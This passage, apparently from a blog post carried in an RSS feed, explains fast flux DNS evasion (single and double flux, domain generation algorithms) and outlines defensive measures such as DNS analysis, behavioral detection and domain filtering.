continuous stream of different IP addresses for the same domain.</li></ul><p>This constant, high-speed rotation makes it nearly impossible for security systems to block a malicious site using its IP address alone, as it will be replaced by a new one almost immediately.</p><h3>The Two Types of Fast Flux</h3><p>There are two primary forms of this attack, each adding a layer of complexity:</p><ol><li><strong>Single Flux</strong>: In this basic form, only the malicious domain’s IP addresses are rapidly rotating. The DNS name servers that manage the domain’s records remain static.</li><li><strong>Double Flux</strong>: This is a more advanced technique where both the malicious domain’s IP addresses <strong>and</strong> the DNS name servers themselves are part of the rotating network. This adds an extra layer of obfuscation, as defenders must first find a moving target (the name server) to even begin the DNS resolution process.</li></ol><h3>Why Do Cybercriminals Use It?</h3><p>The primary motivation for using fast flux is <strong>resilience</strong>. It ensures that malicious infrastructure — used for phishing, malware distribution, or command-and-control (C2) operations — remains operational even when security researchers and law enforcement are actively trying to shut it down.</p><p>While a firewall can block a specific domain name, attackers anticipate this. They use additional techniques like <strong>Domain Generation Algorithms (DGAs)</strong> to rapidly create and register thousands of new domains. This ensures that even if one domain is blocked, the malware on an infected machine can simply generate and connect to a new, unblocked one.</p><h3>How Can We Defend Against It?</h3><p>Defending against fast flux requires a multi-layered approach that goes beyond simple IP blocking:</p><ul><li><strong>DNS Analysis</strong>: Security tools must be able to analyze DNS queries in real-time. By looking at a domain’s DNS history, they can identify the tell-tale signs of fast flux, such as an unusually high number of rotating IP addresses from diverse geographical locations and autonomous systems (ASNs).</li><li><strong>Behavioral Detection</strong>: Advanced security solutions, like those from Palo Alto Networks, use classifiers that look for the behavioral patterns of fast flux, such as an exceptionally high rate of change in IP addresses and the diversity of those IPs.</li><li><strong>URL and Domain Filtering</strong>: Solutions that block domains based on reputation and malicious activity can be effective, especially when paired with DGA detection.</li></ul><p>Fast flux is a prime example of the “cat-and-mouse game” in cybersecurity. As defenders create new ways to block threats, attackers devise new techniques to evade them, making it an ongoing challenge.</p><h3>References</h3><ul><li><strong>Akamai Blog</strong>: “Digging Deeper: An In-depth Analysis of a Fast Flux Network” (<a href="https://www.akamai.com/blog/security/digging-deeper-an-in-depth-analysis-of-a-fast-flux-network">https://www.akamai.com/blog/security/digging-deeper-an-in-depth-analysis-of-a-fast-flux-network</a>)</li><li><strong>Palo Alto Networks</strong>: “Fast Flux 101” (<a href="https://unit42.paloaltonetworks.com/fast-flux-101/">https://unit42.paloaltonetworks.com/fast-flux-101/</a>)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6f9e401c979" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>